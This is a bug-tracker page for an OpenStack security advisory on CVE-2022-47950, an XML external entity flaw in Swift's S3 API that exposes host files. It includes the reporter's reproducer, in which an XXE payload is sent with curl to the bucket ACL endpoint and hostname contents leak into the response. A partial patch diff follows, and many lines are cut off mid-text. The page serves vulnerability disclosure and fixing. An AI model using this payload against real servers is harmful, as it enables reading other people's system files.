[OSSA-2023-001] Arbitrary file access through custom S3 XML entities (CVE-2022-47950)
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack Object Storage (swift) |
Fix Released
|
Critical
|
Tim Burke | ||
OpenStack Security Advisory |
Fix Released
|
High
|
Jeremy Stanley |
Bug Description
The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail:
Few weeks ago, our team managing the Swift clusters discovered a vulnerability affecting the S3 API allowing a remote authenticated adversary
to read arbitrary files on the host filesystem by exploiting an improper use of XMLParser.
We evaluate the CVSS score to 7.7:
https:/
The issue is located in the file: swift/common/
The way the XMLParser is used allows to resolve entities and then to read file content by adding entities in the uploaded XML.
Here is a quick reproducer using both 'PutBucketACL' and 'DeleteObjects':
```
$ cat xxe
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:/
<AccessControlP
<Owner>
<DisplayNam
<ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://
</Grantee>
</Grant>
</AccessControl
</AccessControl
$ aws s3api get-bucket-acl --bucket mybucket
{
"Owner": {
"ID": "demo:demo"
},
"Grants": [
{
},
}
]
}
$ curl -i -XPUT "http://
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
x-amz-id-2: tx792d8913a4614
x-amz-request-id: tx792d8913a4614
Content-Length: 0
X-Trans-Id: tx792d8913a4614
X-Openstack-
Date: Tue, 25 Oct 2022 15:22:33 GMT
$ aws s3api get-bucket-acl --bucket mybucket
{
"Owner": {
"ID": "demo:demo"
},
"Grants": [
{
},
}
]
}
```
As you can see, in the DisplayName and the ID field, the content of the hostname file is returned.
The same thing happens with the DeleteObjects endpoint.
We applied a quick patch to fix this issue like follow :
```
diff --git a/swift/
index 987b84a14.
--- a/swift/
+++ b/swift/
@@ -130,7 +130,7 @@ class _Element(
parser_lookup = lxml.etree.
-parser = lxml.etree.
+parser = lxml.etree.
parser.
Element = parser.makeelement
```
CVE References
Changed in ossa: | |
status: | Confirmed → In Progress |
information type: | Private Security → Public Security |
description: | updated |
summary: |
- Arbitrary file access through custom S3 XML entities (CVE-2022-47950) + [OSSA-2023-001] Arbitrary file access through custom S3 XML entities + (CVE-2022-47950) |
Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.